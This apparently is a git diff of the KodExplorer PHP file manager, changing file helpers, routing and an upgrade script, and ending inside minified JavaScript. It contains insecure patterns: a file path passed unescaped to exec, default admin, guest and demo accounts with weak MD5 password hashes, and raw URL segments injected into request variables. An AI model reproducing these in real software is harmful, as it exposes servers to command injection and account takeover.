    ".$GLOBALS['L']['path_can_not_write_data']); + }else{ + show_tips('"data/" can not write!'); + } } $json_str = json_encode($data); if(is_null($json_str)){//含有二进制或非utf8字符串对应检测 diff --git a/lib/function/common.function.php b/lib/function/common.function.php index 75fde04..e1be46c 100755 --- a/lib/function/common.function.php +++ b/lib/function/common.function.php @@ -311,14 +311,17 @@ function array_get_index($arr,$index){ } function show_tips($message,$url= '', $time = 3){ + header('Content-Type: text/html; charset=utf-8'); $goto = "content='$time;url=$url'"; $info = "Auto jump after {$time}s, Click Here"; if ($url == "") { $goto = ""; $info = ""; } //是否自动跳转 - - $message = nl2br(htmlentities($message)); + $message = nl2br(htmlentities($message,ENT_COMPAT,"utf-8")); + $message = str_replace( + array("<br/>","<br>","<b>","</b>"), + array("
    ","
    ","",""), $message); echo<< @@ -341,8 +344,6 @@ function show_tips($message,$url= '', $time = 3){ END; exit; } - - function get_caller_info() { $trace = debug_backtrace(); foreach($trace as $i=>$call){ @@ -388,7 +389,7 @@ function show_json($data,$code = true,$info=''){ header('Content-Type: application/json; charset=utf-8'); echo json_encode($result); exit; -} +} /** * 简单模版转换,用于根据配置获取列表: diff --git a/lib/function/file.function.php b/lib/function/file.function.php index 9763c79..5c452bd 100755 --- a/lib/function/file.function.php +++ b/lib/function/file.function.php @@ -55,8 +55,8 @@ function iconv_system($str){ return $result; } - //filesize 解决大于2G 大小问题 +//http://stackoverflow.com/questions/5501451/php-x86-how-to-get-filesize-of-2-gb-file-without-external-program function get_filesize($path){ $result = false; $fp = fopen($path,"r"); @@ -74,12 +74,42 @@ function get_filesize($path){ $step >>= 1; } } + }else{ + static $iswin; + if (!isset($iswin)) { + $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); + } + static $exec_works; + if (!isset($exec_works)) { + $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); + } + if ($iswin && class_exists("COM")) { + try { + $fsobj = new COM('Scripting.FileSystemObject'); + $f = $fsobj->GetFile( realpath($path) ); + $size = $f->Size; + } catch (Exception $e) { + $size = null; + } + if (ctype_digit($size)) { + $result = $size; + } + }else if ($exec_works){ + $cmd = ($iswin) ? "for %F in (\"$path\") do @echo %~zF" : "stat -c%s \"$path\""; + @exec($cmd, $output); + if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { + $result = $size; + } + }else{ + $result = filesize($path); + } } } fclose($fp); return $result; } + //文件是否存在,区分文件大小写 function file_exist_case( $fileName){ if(file_exists($fileName) === false){ @@ -102,6 +132,33 @@ function file_exist_case( $fileName){ return $status; } +function path_readable($path){ + $result = intval(is_readable($path)); + if($result){ + return $result; + } + $mode = get_mode($path); + if( $mode && + strlen($mode) == 18 && + substr($mode,-9,1) == 'r'){// -rwx rwx rwx(0777) + return true; + } + return false; +} +function path_writeable($path){ + $result = intval(is_writeable($path)); + if($result){ + return $result; + } + $mode = get_mode($path); + if( $mode && + strlen($mode) == 18 && + substr($mode,-8,1) == 'w'){// -rwx rwx rwx (0777) + return true; + } + return false; +} + /** * 获取文件详细信息 * 文件名从程序编码转换成系统编码,传入utf8,系统函数需要为gbk @@ -117,8 +174,8 @@ function file_info($path){ 'atime' => @fileatime($path), //最后访问时间 'ctime' => @filectime($path), //创建时间 'mtime' => @filemtime($path), //最后修改时间 - 'is_readable' => intval(is_readable($path)), - 'is_writeable' => intval(is_writeable($path)), + 'is_readable' => path_readable($path), + 'is_writeable' => path_writeable($path), 'size' => $size ); return $info; @@ -135,8 +192,8 @@ function folder_info($path){ 'atime' => @fileatime($path), //访问时间 'ctime' => @filectime($path), //创建时间 'mtime' => @filemtime($path), //最后修改时间 - 'is_readable' => intval(is_readable($path)), - 'is_writeable' => intval(is_writeable($path)) + 'is_readable' => path_readable($path), + 'is_writeable' => path_writeable($path) ); return $info; } @@ -215,25 +272,6 @@ function get_filename_auto($path,$file_add = "",$same_file_type='replace'){ return $path; } -/** - * 文件或目录是否可写 is_writeable(); - * 兼容性处理:挂载目录755 bug - */ -function path_writeable($path){ - if(is_file($path)){ - return is_writeable($path); - }else if(is_dir($path)) { - $file = $path.'/writeable_test_'.uniqid(mt_rand()).'.tmp'; - @touch($file); - if(file_exists($file)){ - @unlink($file); - return true; - } - return false; - } - return false;//不存在 -} - /** * 获取文件夹详细信息,文件夹属性时调用,包含子文件夹数量,文件数量,总大小 */ @@ -392,6 +430,7 @@ function del_file($fullpath){ function del_dir($dir){ if(!file_exists($dir) || !is_dir($dir)) return true; if (!$dh = opendir($dir)) return false; + @set_time_limit(0); while (($file = readdir($dh)) !== false) { if ($file != "." && $file != "..") { $fullpath = $dir . '/' . $file; @@ -418,6 +457,7 @@ function del_dir($dir){ } } + /** * 复制文件夹 * eg:将D:/wwwroot/下面wordpress复制到 @@ -430,7 +470,9 @@ function del_dir($dir){ function copy_dir($source, $dest){ if (!$dest) return false; - if ($source == substr($dest,0,strlen($source))) return false;//防止父文件夹拷贝到子文件夹,无限递归 + if (is_dir($source) && $source == substr($dest,0,strlen($source))) return false;//防止父文件夹拷贝到子文件夹,无限递归 + + @set_time_limit(0); $result = true; if (is_file($source)) { if ($dest[strlen($dest)-1] == '/') { @@ -460,26 +502,71 @@ function copy_dir($source, $dest){ /** * 移动文件&文件夹;(同名文件夹则特殊处理) + * 问题:win下,挂载磁盘移动到系统盘时rmdir导致遍历不完全; */ -function move_path($source, $dest, $repeat_add='',$repeat_type='replace'){ - if(!file_exists($dest)){ - return @rename($source, $dest); - } - if(is_file($source)){ - $dest = get_filename_auto($dest,$repeat_add,$repeat_type);//同名文件处理规则 - return @rename($source, $dest); - } - - $result = true; - if (!$dh = opendir($source)) return false; - while (($file = readdir($dh)) !== false) { - if ($file != "." && $file != "..") { - $result = move_path($source."/".$file, $dest."/".$file,$repeat_add,$repeat_type); +function move_path2($source,$dest,$repeat_add='',$repeat_type='replace'){ + if (!$dest) return false; + if (is_dir($source) && $source == substr($dest,0,strlen($source))) return false;//防止父文件夹拷贝到子文件夹,无限递归 + @set_time_limit(0); + if (is_file($source)) { + return move_file($source,$dest,$repeat_add,$repeat_type); + }else if(is_dir($source)) { + if ($dest[strlen($dest)-1] == '/') { + $dest = $dest . basename($source); } + if (!file_exists($dest)) { + @mkdir($dest,0777); + } + if (!$dh = opendir($source)) return false; + while (($file = readdir($dh)) !== false) { + if ($file =='.' || $file =='..') continue; + move_path($source."/".$file, $dest."/".$file,$repeat_add,$repeat_type); + } + closedir($dh); + return @rmdir($source); } - @del_dir($source); - closedir($dh); - return $result; +} + +function move_file($source,$dest,$repeat_add,$repeat_type){ + if ($dest[strlen($dest)-1] == '/') { + $dest = $dest . "/" . basename($source); + } + if(file_exists($dest)){ + $dest = get_filename_auto($dest,$repeat_add,$repeat_type);//同名文件处理规则 + } + return intval(@rename($source,$dest)); +} +function move_path($source,$dest,$repeat_add='',$repeat_type='replace'){ + if (!$dest || !file_exists($source)) return false; + if (is_dir($source) && $source == substr($dest,0,strlen($source))) return false;//防止父文件夹拷贝到子文件夹,无限递归 + + @set_time_limit(0); + if(is_file($source)){ + return move_file($source,$dest,$repeat_add,$repeat_type); + } + recursion_dir($source,$dirs,$files,-1,0); + + @mkdir($dest); + foreach($dirs as $f){ + $path = $dest.'/'.substr($f,strlen($source)); + if(!file_exists($path)){ + mk_dir($path); + } + } + $file_success = 0; + foreach($files as $f){ + $path = $dest.'/'.substr($f,strlen($source)); + $file_success += move_file($f,$path,$repeat_add,$repeat_type); + } + foreach($dirs as $f){ + rmdir($f); + } + @rmdir($source); + if($file_success == count($files)){ + del_dir($source); + return true; + } + return false; } /** @@ -763,9 +850,20 @@ function is_text_file($ext){ function file_put_out($file,$download=false){ if (!is_file($file)) show_json('not a file!'); if (!file_exists($file)) show_json('file not exists',false); - if (!is_readable($file)) show_json('file not readable',false); - $filename = get_path_this($file); - set_time_limit(0); + if (!path_readable($file)) show_json('file not readable',false); + + //system-charset + $ua = $_SERVER['HTTP_USER_AGENT']; + if( preg_match('/MSIE/',$ua) || preg_match('/Trident/',$ua) ){ + $filename = get_path_this($file); + }else if( stripos($ua,"firefox") ){// space cute bug + $filename = iconv_app(get_path_this($file)); + $filename = str_replace(" ","_", $filename); + }else{//utf-8 + $filename = iconv_app(get_path_this($file)); + } + + @set_time_limit(0); ob_end_clean(); $mime = get_file_mime(get_path_ext($file)); $time = gmdate('D, d M Y H:i:s', filemtime($file)); @@ -773,7 +871,7 @@ function file_put_out($file,$download=false){ (strstr($mime,'application/') && $mime!='application/x-shockwave-flash') ) {//下载或者application则设置下载头 if( preg_match('/MSIE/',$_SERVER['HTTP_USER_AGENT']) || preg_match('/Trident/',$_SERVER['HTTP_USER_AGENT'])){ - if($GLOBALS['config']['system_os']!='windows'){//win主机 ie浏览器;中文文件下载urlencode问题 + if($GLOBALS['config']['system_os']!='windows'){//linux主机 ie浏览器;中文文件下载urlencode问题 $filename = str_replace('+','%20',urlencode($filename)); } } @@ -829,7 +927,7 @@ function file_put_out($file,$download=false){ } $cur = $start; fseek($fp, $start,0); - while(!feof($fp) && $cur <= $end && (connection_status() == 0)){ + while(!feof($fp) && $cur <= $end){ // && (connection_status() == 0) print fread($fp, min(1024 * 16, ($end - $cur) + 1)); $cur += 1024 * 16; flush(); @@ -842,12 +940,12 @@ function file_put_out($file,$download=false){ * 支持fopen的打开都可以;支持本地、url */ function file_download_this($from, $file_name,$header_size=0){ - set_time_limit(0); + @set_time_limit(0); if ($fp = @fopen ($from, "rb")){ if(!$download_fp = @fopen($file_name, "wb")){ return false; } - while(!feof($fp) && (connection_status() == 0)){//没有关闭页面 + while(!feof($fp)){ if(!file_exists($file_name)){//删除目标文件;则终止下载 fclose($download_fp); return false; @@ -903,7 +1001,7 @@ function get_mode($file){ $Mode = $Type.$Owner['r'].$Owner['w'].$Owner['x'].' '. $Group['r'].$Group['w'].$Group['e'].' '. $World['r'].$World['w'].$World['e']; - return $Mode.' ('.$theMode.') '; + return $Mode.'('.$theMode.')'; } /** @@ -946,13 +1044,14 @@ function kod_move_uploaded_file($from_path,$save_path){ * upload('file','D:/www/'); */ function upload_chunk($fileInput, $path = './',$temp_path,$repeat_action){ - $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0; - $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 1; - $check_md5 = isset($_REQUEST["check_md5"]) ? $_REQUEST["check_md5"] : false; + global $in; + $chunk = isset($in["chunk"]) ? intval($in["chunk"]) : 0; + $chunks = isset($in["chunks"]) ? intval($in["chunks"]) : 1; + $check_md5 = isset($in["check_md5"]) ? $in["check_md5"] : false; //文件分块检测是否已上传,已上传则忽略;断点续传 if($check_md5 !== false){ - $chunk_file_pre = $temp_path.md5($temp_path.iconv_system($_REQUEST['file_name'])).'.part'; + $chunk_file_pre = $temp_path.md5($temp_path.iconv_system($in['file_name'])).'.part'; $chunk_file = $chunk_file_pre.$chunk; if( file_exists($chunk_file) && md5_file($chunk_file) == $check_md5){ $arr = array(); @@ -972,8 +1071,8 @@ function upload_chunk($fileInput, $path = './',$temp_path,$repeat_action){ if (!empty($_FILES)) { $file_name = iconv_system($_FILES[$fileInput]["name"]); $upload_file = $_FILES[$fileInput]["tmp_name"]; - }else if (isset($_REQUEST["name"])) { - $file_name = iconv_system($_REQUEST["name"]); + }else if (isset($in["name"])) { + $file_name = iconv_system($in["name"]); $upload_file = "php://input"; } @@ -1053,4 +1152,4 @@ function write_log($log, $type = 'default', $level = 'log'){ } clearstatcache(); return error_log("$now_time $log\n", 3, $target); -} +} \ No newline at end of file diff --git a/lib/function/web.function.php b/lib/function/web.function.php index 4de4b66..210b930 100755 --- a/lib/function/web.function.php +++ b/lib/function/web.function.php @@ -189,6 +189,25 @@ function stripslashes_deep($value){ return $value; } +function parse_url_route(){ + $param = str_replace($_SERVER['SCRIPT_NAME'],"",$_SERVER['PHP_SELF']); + if($param && substr($param,0,1) == '/'){ + $arr = explode('&',$param); + $arr[0] = ltrim($arr[0],'/'); + foreach ($arr as $cell) { + $cell = explode('=',$cell); + if(is_array($cell)){ + if(!isset($cell[1])){ + $cell[1] = ''; + } + $_GET[$cell[0]] = $cell[1]; + $_REQUEST[$cell[0]] = $cell[1]; + } + } + } +} + + /** * GET/POST数据统一入口 * 将GET和POST的数据进行过滤,去掉非法字符以及hacker code,返回一个数组 @@ -197,6 +216,7 @@ function stripslashes_deep($value){ * @return array $_GET和$_POST数据过滤处理后的值 */ function parse_incoming(){ + parse_url_route(); global $_GET, $_POST,$_COOKIE; $_COOKIE = stripslashes_deep($_COOKIE); diff --git a/lib/update.php b/lib/update.php index 7bcf7bc..66a4175 100755 --- a/lib/update.php +++ b/lib/update.php @@ -1,6 +1,5 @@ user_array = array(); $this->role_array = array(); $this->init_role(); - $this->init_group(); $result = $this->init_user(); + $this->init_group(); $this->init_system(); if($result){ $this->clear_path(); @@ -38,15 +105,13 @@ class updateToV330{ private function init_role(){ $file_in = THE_DATA_PATH.'system/group.php'; $file_out = THE_DATA_PATH.'system/system_role.php'; - $sql = new fileCache($file_in); - $data = $sql->get(); + $data = fileCache::load($file_in); $data_new = array(); - if(!is_array($data)){ + if(!is_array($data) || count($data)<2){ $data = array( "root" => array( "role" => "root", "name" => "Administrator", - "path" => "", "ext_not_allow" => "" ), "guest" => array( @@ -80,12 +145,12 @@ class updateToV330{ }else{ $index++; } - $this->role_array[$key] = $id; + $this->role_array[$key] = $id;//记录对应关系,后面用于用户重置为id $data_new[$id] = $value; } - $sql->save($file_out,$data_new); + fileCache::save($file_out,$data_new); } - private function init_group(){ + private function init_group(){//新建 $file_out = THE_DATA_PATH.'system/system_group.php'; $arr = array( "group_id" => 1, @@ -96,7 +161,7 @@ class updateToV330{ "size_max" => 0, "size_use" => 0 ), - "path" => md5(rand_string(30)), + "path" => "public", "create_time"=> time() ); $data = array('1'=>$arr); @@ -119,49 +184,50 @@ class updateToV330{ private function reset_user_config(&$user){ $user_path = THE_DATA_PATH.'User/'.$user['name'].'/'; $file_in = $user_path.'data/config.php'; + $data = fileCache::load($file_in); + if(!file_exists($user_path.'home')){ mk_dir($user_path.'home/desktop'); mk_dir($user_path.'home/document'); mk_dir($user_path.'home/pictures'); } mk_dir($user_path.'recycle'); - $sql = new fileCache($file_in); - $data = $sql->get(); if(!is_array($data) || count($data)<4){ $data = $GLOBALS['config']['setting_system_default']; } $data['theme'] = 'win10'; - $sql->save($file_in,$data); + fileCache::save($file_in,$data); } private function init_user(){ $file_in = THE_DATA_PATH.'system/member.php'; $file_out = THE_DATA_PATH.'system/system_member.php'; - $sql = new fileCache($file_in); - $data = $sql->get(); + $data = fileCache::load($file_in); $data_new = array(); - - if(!is_array($data)){ - $data =array( - "admin" => array( - "name" => "admin", - "password" => "21232f297a57a5a743894a0e4a801fc3", - "role" => "root", - "status" => 1 - ), - "guest" => array( - "name" => "guest", - "password" => "084e0343a0486ff05530df6c705c8bb4", - "role" => "guest", - "status" => 1 - ), - "demo" => array( - "name" => "demo", - "password" => "fe01ce2a7fbac8fafaed7c982a04e229", - "role" => "default", - "status" => 1 - ) - ); + $default =array( + "admin" => array( + "name" => "admin", + "password" => "21232f297a57a5a743894a0e4a801fc3", + "role" => "root", + "status" => 1 + ), + "guest" => array( + "name" => "guest", + "password" => "084e0343a0486ff05530df6c705c8bb4", + "role" => "guest", + "status" => 1 + ), + "demo" => array( + "name" => "demo", + "password" => "fe01ce2a7fbac8fafaed7c982a04e229", + "role" => "default", + "status" => 1 + ) + ); + fileCache::save($file_out,$default); + if(!is_array($data) || count($data)==0){ + $data = $default; } + $index = 100; foreach ($data as $key => $value) { $id = $index.''; @@ -181,26 +247,34 @@ class updateToV330{ $this->reset_user_config($value); $data_new[$id] = $value; } - return $sql->save($file_out,$data_new); + return fileCache::save($file_out,$data_new); } - private function init_system(){ - $file_in = THE_DATA_PATH.'system/system_setting.php'; - $file_out = THE_DATA_PATH.'system/system_setting.php'; - $sql = new fileCache($file_in); - $data = $sql->get(); + static function init_system(){ + $file_in = THE_DATA_PATH.'system/system_setting.php'; + $file_out = $file_in; + $data = fileCache::load($file_in); if(!is_array($data) || count($data)<4){// <2.63 $data = $GLOBALS['config']['setting_system_default']; } + foreach ($GLOBALS['config']['setting_system_default'] as $key => $value) { + if(!isset($data[$key])){ + $data[$key] = $value; + } + } $data['need_check_code'] = '0'; - $sql->save($file_out,$data); + $data['current_version'] = KOD_VERSION; + fileCache::save($file_out,$data); } private function clear_path(){ + @rename(THE_DATA_PATH.'system/member.php',THE_DATA_PATH.'system/member_old.php');//backup del_file(THE_DATA_PATH.'system/group.php'); - del_file(THE_DATA_PATH.'system/member.php'); del_file(BASIC_PATH.'readme.txt'); - del_file(BASIC_PATH.'README.md'); + //del_file(BASIC_PATH.'README.md'); + del_file(THE_DATA_PATH.'2.0-3.34.zip'); + del_file(THE_DATA_PATH.'2.0-3.35.zip'); + del_file(THE_DATA_PATH.'2.0-'.KOD_VERSION.'.zip'); + del_file(THE_DATA_PATH.'system/update.lock'); - del_dir(THE_DATA_PATH.'2.0-'.KOD_VERSION.'.zip'); del_dir(THE_DATA_PATH.'i18n'); del_dir(THE_DATA_PATH.'thumb'); del_dir(BASIC_PATH.'__MACOSX'); diff --git a/static/images/file_icon/icon_others/groupSelf.png b/static/images/file_icon/icon_others/groupSelf.png index c63f8bb..15420b2 100755 Binary files a/static/images/file_icon/icon_others/groupSelf.png and b/static/images/file_icon/icon_others/groupSelf.png differ diff --git a/static/images/file_icon/icon_others/groupSelfOwner.png b/static/images/file_icon/icon_others/groupSelfOwner.png index 167e721..7e4b09d 100755 Binary files a/static/images/file_icon/icon_others/groupSelfOwner.png and b/static/images/file_icon/icon_others/groupSelfOwner.png differ diff --git a/static/js/app/src/app/main.js b/static/js/app/src/app/main.js index 8a49df7..eeadec2 100755 --- a/static/js/app/src/app/main.js +++ b/static/js/app/src/app/main.js @@ -1,3 +1,3 @@ -/*! power by kodexplorer ver3.35(2016-12-23) [build 1482476909174] */ -define("app/src/app/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},a=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";a&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,a){if(a=void 0==a?"":a,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var t={};t[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},t[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},t[G.KOD_GROUP_SHARE]={icon:"groupGuest"},t[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},t[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},t[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},t[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=t[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:a}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=a),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var a=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],t=!1;return $.inArray(a,i)&&(t=!0),t},contextmenu:function(e){try{rightMenu.hidden()}catch(a){}var a=e||window.event;return a?a&&$(a.target).is("textarea")||$(a.target).is("input")||$(a.target).is("p")||$(a.target).is("pre")||0!=$(a.target).parents(".can_right_menu").length||0!=$(a.target).parents(".topbar").length||0!=$(a.target).parents(".edit_body").length||0!=$(a.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/"),t=a.substr(i+1);if(0==t.search("fileProxy")){t=urlDecode(t.substr(t.search("&path=")));var n=t.split("/");t=n[n.length-1],""==t&&(t=n[n.length-2])}return t},pathClear:function(e){if(!e)return"";var a=e.replace(/\\/g,"/");return a=a.replace(/\/+/g,"/"),a=a.replace(/\.+\//g,"/")},pathFather:function(e){var a=rtrim(this.pathClear(e),"/"),i=a.lastIndexOf("/");return a.substr(0,i+1)},pathExt:function(e){var a=trim(e,"/");return-1!=a.lastIndexOf("/")&&(a=a.substr(a.lastIndexOf("/")+1)),-1!=a.lastIndexOf(".")?a.substr(a.lastIndexOf(".")+1).toLowerCase():a.toLowerCase()},path2url:function(e,a){if("http"==e.substr(0,4))return e;void 0==a&&(a=!0);var i,t=this.pathClear(e);this.pathExt(t);var n=function(e){if(!e)return"";var a=urlEncode(e);return a=a.replace(/%2F/g,"/")};return G.is_root&&a&&t.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(t.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(t),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(t))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var a;a=G.json_data.filelist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;a=G.json_data.folderlist;for(var i=0;a.length>i;i++)if(a[i].path==e)return void 0==a[i].is_readable||1==a[i].is_readable?!0:!1;return!0},authCheck:function(e,a){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==a&&(a=LNG.no_permission),Tips.tips(a,!1),!1):!0},ajaxError:function(e){var a=e.responseText,i='
    '+a+"
    ",t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==a.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,a){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof a&&a(e.data.content)}})},fileInfo:function(e,a){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof a&&a(e)}})},fileLink:function(e,a){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof a&&a(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(a){a.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:610})},copyright:function(){var e=require("./tpl/copyright.html"),a=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:a({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,a){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),t="";$.dialog({follow:a,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:t})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var a=ShareData.frameTop(),i=a.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,a,i,t){if(e){void 0==t&&(t="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:t,fixed:!0,title:i,ico:a,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof 